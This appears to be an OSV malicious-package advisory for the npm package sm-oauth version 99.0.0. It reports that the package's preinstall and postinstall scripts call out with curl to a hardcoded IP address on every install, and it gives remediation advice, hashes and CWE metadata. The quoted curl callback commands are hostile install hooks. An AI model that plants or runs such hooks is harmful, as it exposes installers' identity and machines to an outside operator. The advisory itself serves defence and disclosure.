MAL-2026-14398

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sm-oauth/MAL-2026-14398.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-14398
Aliases
  • GHSA-9v7m-8hh3-3mc3
Published
2026-08-24T05:07:41Z
Modified
2026-08-24T16:46:05Z
Summary
Malicious code in sm-oauth (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc)

package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s http://16.192.173.5/sm-oauth/post on every npm install. The requests fire against a hardcoded bare-IP endpoint over plain HTTP, leaking the installer's network identity (source IP, install event, request metadata) to that endpoint and giving the operator a channel to serve follow-on content in the HTTP response. index.js self-identifies as a dependency-confusion test artifact and exports no functional library code; the package's only behavior on install is the outbound callback.

Source: ghsa-malware (23741b67d64c1e28d52965821562f9cb6e8cdd1276fd84969497174fd5fba2aa)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-018611",
            "import_time": "2026-08-24T05:20:14.597273936Z",
            "modified_time": "2026-08-24T05:07:41Z",
            "sha256": "98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc",
            "source": "amazon-inspector",
            "versions": [
                "99.0.0"
            ]
        },
        {
            "id": "GHSA-9v7m-8hh3-3mc3",
            "import_time": "2026-08-24T16:26:16.743628314Z",
            "modified_time": "2026-08-24T15:42:58Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "23741b67d64c1e28d52965821562f9cb6e8cdd1276fd84969497174fd5fba2aa",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / sm-oauth

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

99.*
99.0.0

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "61845b9a2405e0d1b2e116d46f81b4bcf7acddf242f0d580e0e52eaa5099c7d6",
            "tlsh": "9bc0805c1504d332ff4447b6ba14dd0c7cd1018000f354a4c3a30d91db32e5af11fa56"
        },
        {
            "path": "index.js",
            "sha256": "ac410b45019e4bb4f5d8acaa3dc38c0750e1f783f1b38ae1805f518f79396e1c",
            "tlsh": "18c02b81b1ecb135a5f4484b1030021a34effdb0f61331c5e24882ade10ce6443070dc"
        }
    ],
    "package_integrity": [
        {
            "filename": "sm-oauth-99.0.0.tgz",
            "hashes": {
                "sha1": "4434df0c186655ba9df7e4ddb2bcbc36f2a0ba72",
                "sha512_sri": "sha512-TCDGStL+1elDfeVM6AOYoo/tCDnZYJqKaL9QyAbYuFqDNomR6KmVpf1Q5wXnOqZTilxXnfDMBcL5ji0p6HOp6w=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sm-oauth/MAL-2026-14398.json"